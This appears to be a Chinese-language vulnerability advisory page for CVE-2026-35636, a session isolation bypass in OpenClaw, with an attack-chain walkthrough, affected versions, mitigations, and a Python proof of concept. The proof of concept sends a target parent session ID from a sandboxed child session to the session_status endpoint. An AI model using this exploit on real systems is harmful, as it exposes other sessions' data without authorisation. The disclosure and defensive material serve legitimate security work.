IPBUF安全漏洞报告
English
CVE-2026-35636 CVSS 6.5 中危

CVE-2026-35636 OpenClaw 会话隔离绕过漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-35636
漏洞类型
会话隔离绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

Session Isolation BypassOpenClawAccess ControlInformation DisclosureCWE-863

漏洞概述

OpenClaw 版本 2026.3.11 至 2026.3.24 存在会话隔离绕过漏洞。该漏洞源于 session_status 在执行可见性检查之前,先将 sessionId 解析为规范会话密钥。这导致沙盒化的子会话能够绕过显式的 sessionKey 限制,从而访问本应被阻止的父会话或同级会话数据。

技术细节

该漏洞的根本原因是 OpenClaw 会话管理逻辑中的时序问题。在受影响版本中,当处理 session_status 请求时,系统首先根据用户提供的 sessionId 执行解析操作,将其映射为内部的规范会话密钥,而此时并未验证当前请求的上下文是否有权访问该目标会话。由于解析操作优先于权限检查(可见性检查),攻击者可以利用沙盒环境下的子会话,通过构造特定的请求指向父会话或同级会话的 ID。系统在解析阶段即获取了敏感信息或建立了关联,随后的检查机制无法完全阻止已解析数据的泄露或利用,从而破坏了会话间的隔离边界。

攻击链分析

STEP 1
1. 初始访问
攻击者在 OpenClaw 系统中获得一个沙盒化的子会话,该会话本应受到严格的权限限制。
STEP 2
2. 识别目标
攻击者猜测或枚举出想要访问的父会话或同级会话的 ID(sessionId)。
STEP 3
3. 发起解析请求
攻击者利用子会话向 session_status 接口发送请求,并在请求体中填入目标父会话的 ID。
STEP 4
4. 逻辑绕过
服务端接收到请求后,先执行 ID 解析逻辑,将目标 ID 转换为规范密钥,此时尚未检查当前子会话是否有权查看该目标。
STEP 5
5. 数据泄露
由于解析发生在检查之前,系统返回了目标会话的状态信息或敏感数据,导致隔离机制失效。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-35636 (OpenClaw Session Isolation Bypass) This script demonstrates how a sandboxed child session might access parent session data due to the resolution order vulnerability. """ import requests import json def exploit_poc(target_host, child_session_cookie, target_parent_id): """ Attempts to resolve a parent session ID from a sandboxed child context. """ url = f"{target_host}/api/session_status" # Headers simulating the sandboxed child session headers = { "Cookie": f"sessionId={child_session_cookie}", "Content-Type": "application/json" } # Payload containing the ID of the restricted parent session payload = { "sessionId": target_parent_id } print(f"[*] Attempting to resolve parent session ID: {target_parent_id}") print(f"[*] Using child session cookie: {child_session_cookie}") try: response = requests.post(url, headers=headers, json=payload, timeout=10) if response.status_code == 200: data = response.json() print("[+] Potential Bypass Successful! Response received:") print(json.dumps(data, indent=2)) return True else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response body: {response.text}") return False except Exception as e: print(f"[!] Error during request: {e}") return False if __name__ == "__main__": # Example usage - replace with actual target details during testing TARGET = "http://localhost:8080" CHILD_SESSION = "sandbox_child_token_123" PARENT_ID = "restricted_parent_session_456" exploit_poc(TARGET, CHILD_SESSION, PARENT_ID)

影响范围

OpenClaw 2026.3.11
OpenClaw 2026.3.12
OpenClaw 2026.3.13
OpenClaw 2026.3.14
OpenClaw 2026.3.15
OpenClaw 2026.3.16
OpenClaw 2026.3.17
OpenClaw 2026.3.18
OpenClaw 2026.3.19
OpenClaw 2026.3.20
OpenClaw 2026.3.21
OpenClaw 2026.3.22
OpenClaw 2026.3.23
OpenClaw 2026.3.24

防御指南

临时缓解措施
建议立即检查 OpenClaw 版本,若在受影响范围内,应尽快升级修复。在无法立即升级的情况下,可临时限制会话间的 API 调用权限,或通过 WAF 拦截针对 session_status 接口的异常请求参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表